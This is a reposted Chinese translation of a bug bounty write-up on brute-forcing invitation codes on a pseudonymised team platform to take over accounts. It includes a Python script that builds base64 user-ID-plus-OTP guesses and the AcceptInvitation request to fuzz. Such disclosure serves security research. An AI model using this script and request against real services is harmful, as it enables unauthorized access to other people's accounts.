破解邀请码实现未授权访问和账户接管

admin 2024年7月29日21:32:34评论21 views字数 2569阅读8分33秒阅读模式

破解邀请码实现未授权访问和账户接管

前言

ExampleSpark(化名)是一个专为团队管理和项目协作而设计的强大平台。它提供了用于管理用户、项目和权限的综合工具。

1、邀请用户

1.1、登录 ExampleSpark 上的管理员帐户。

1.2、导航到团队管理部分。

1.3、邀请用户,生成一个邀请链接,其中包含带有用户 ID 的 base64 编码字符串和 7 位 OTP(一次性密码)。

2、低级账户访问

2.1、登录 ExampleSpark 上的低级别帐户。

3、提取用户 ID

3.1、转到团队管理部分并选择受邀用户。

3.2、从 URL 中提取用户 ID

https://app.examplespark.com/users/User:<user_id>。

例如userid为018dee9c-a9be-04f8-0000-fb5b23eef4d2

4、准备字典

4.1、字典格式为:userid的base64编码+7位otpcode

例如:

MDE4ZGVlOWMtYTliZS0wNGY4LTAwMDAtZmI1YjIzZWVmNGQyO39426NQ

破解邀请码实现未授权访问和账户接管

4.2、生成包含7 位随机字母数字的OPT,再拼接上id的base64编码,得到字典:

代码如下:

import randomimport base64def generate_otp():    # Generate a random 7-digit alphanumeric OTP    characters = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"    otp = ''.join(random.choice(characters) for i in range(7))    return otpdef convert_to_base64(data):    # Convert the data to base64    data_bytes = data.encode('utf-8')    base64_encoded = base64.b64encode(data_bytes).decode('utf-8')    return base64_encoded# Constant user IDuser_id = "018dee9c-a9be-04f8-0000-fb5b23eef4d2"# Number of OTPs to generate (updated to 1000)num_otps = 1000# Generate payloads and create a listpayload_list = []for _ in range(num_otps):    otp = generate_otp()    payload = f"{user_id}:{otp}"    base64_payload = convert_to_base64(payload)    payload_list.append(base64_payload)# Print the generated payloads and their base64 representationsfor i, payload in enumerate(payload_list, start=1):    print(f"Payload {i}: {payload}")

破解邀请码实现未授权访问和账户接管

5、攻击

接收邀请的请求包如下:

POST /graphql/frontend?n=AcceptInvitation HTTP/2Host: app.examplespark.comCookie: [session cookies]Content-Length: 616Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"Sec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Content-Type: application/jsonAccept: */*X-Graphql-Operation: AcceptInvitationSec-Ch-Ua-Platform: "Linux"Origin: https://app.examplespark.comReferer: https://app.examplespark.com/invitations/MDE4ZGVkZWUtZWZiZS0wNGY4LTAwMDAtN2I4YWRmZDAwYjQ1OjAxMzI2NQ{"operationName":"AcceptInvitation","variables":{"invitation_key":"","name":"","password":""},"query":"mutation AcceptInvitation($invitation_key: String!, $name: String!, $password: String!) {n  accept_invitation(n    input: {invitation_key: $invitation_key, name: $name, password: $password}n  ) {n    account_idn    user {n      idn      statusn      ...AuthUserLoginn      __typenamen    }n    __typenamen  }n}nnfragment AuthUserLogin on User {n  idn  emailn  display_namen  session_valid_untiln  __typenamen}"}

选择invitation_key参数,添加字典并开始攻击。

6、账户接管

响应为 200 OK 状态、长度为 1142时表示成功接受邀请。

攻击者可以接受邀请并获得未经授权的访问权限,并可能根据受邀用户的角色提升权限。

原文出处:
https://medium.com/bugbountywriteup/500-for-cracking-invitation-code-for-unauthorized-access-account-takeover-558c663fb947

https://space.bilibili.com/602205041

破解邀请码实现未授权访问和账户接管

原文始发于微信公众号(芳华绝代安全团队):破解邀请码实现未授权访问和账户接管

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月29日21:32:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   破解邀请码实现未授权访问和账户接管https://cn-sec.com/archives/3012577.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息